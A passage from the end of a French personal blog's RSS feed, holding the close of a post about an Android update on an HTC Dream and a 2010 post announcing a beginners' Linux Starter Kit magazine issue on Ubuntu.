<p>L&#8217;interface est retouchée, plus jolie même ! Je me surprends même à la trouver plus fluide. Moins de bugs, et quelques applications en plus ! Un lecteur PDF, une suite bureautique, la fonction Caméscope (enfin !) et quelques autres fonctionnalités supplémentaires (notemment l&#8217;orientation automatique du téléphone et plus de widgets).</p>
<p>Je me sens à nouveau à la page, et vais pouvoir entamer une bonne semaine.</p>
<p><img title="HTC Dream" src="http://high-tech.portail.free.fr/news/16-03-2009/htc-dream-d-orange-incompatible-avec-les-applications-google/htc-google-android.jpg" alt="HTC Dream" /></p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/mise-a-jour-dandroid-sur-mon-htc-dream/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Linux Starter Kit</title>
		<link>http://my1.fr/blog/linux-starter-kit-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=linux-starter-kit-2</link>
		<comments>http://my1.fr/blog/linux-starter-kit-2/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 22:46:45 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Magazine]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/2010/02/10/linux-starter-kit-2/</guid>
		<description><![CDATA[Une info toute fraîche pour les fans de Linux (j&#8217;espère nombreux) ou ceux qui veulent se lancer : Le magazine Linux Identity publie fin du mois une édition spéciale, en quelque sorte destinnée aux débutants désirant de &#171;&#160;lancer&#160;&#187; dans l&#8217;univers palpitant de Linux : Linux Starter Kit. Donc au programme, installations, comment faire cohabiter Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>Une info toute fraîche pour les fans de Linux (j&#8217;espère nombreux) ou ceux qui veulent se lancer :</p>
<p>Le magazine Linux Identity publie fin du mois une édition spéciale, en quelque sorte destinnée aux débutants désirant de &laquo;&nbsp;lancer&nbsp;&raquo; dans l&#8217;univers palpitant de Linux : Linux Starter Kit.</p>
<p>Donc au programme, installations, comment faire cohabiter Ubuntu avec Windows, pas mal d&#8217;articles sur les applications intéressantes, et plein de trucs et astuces pour mieux utiliser son ordinateur.</p>
<p>Le magazine traîte surtout sur la distribution Ubuntu 9.10 Karmic Koala, en raison de sa popularité écrasante. Mais la pluparts des logiciels libres évoqués sont présents dans d&#8217;autres distrib&#8217;, donc pas de panique !</p>
<p>Bon je n&#8217;en dis pas plus !</p>
<p>Alors je vous donne rendez-vous dans quelques jours, dans votre kiosque, vous savez ce qu&#8217;il vous reste à faire !</p>
<p>NdM : Vous vous demandez certainement comment suis-je aussi bien informé, c&#8217;est parce que j&#8217;ai écris quelques articles pour le magazine.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/linux-starter-kit-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

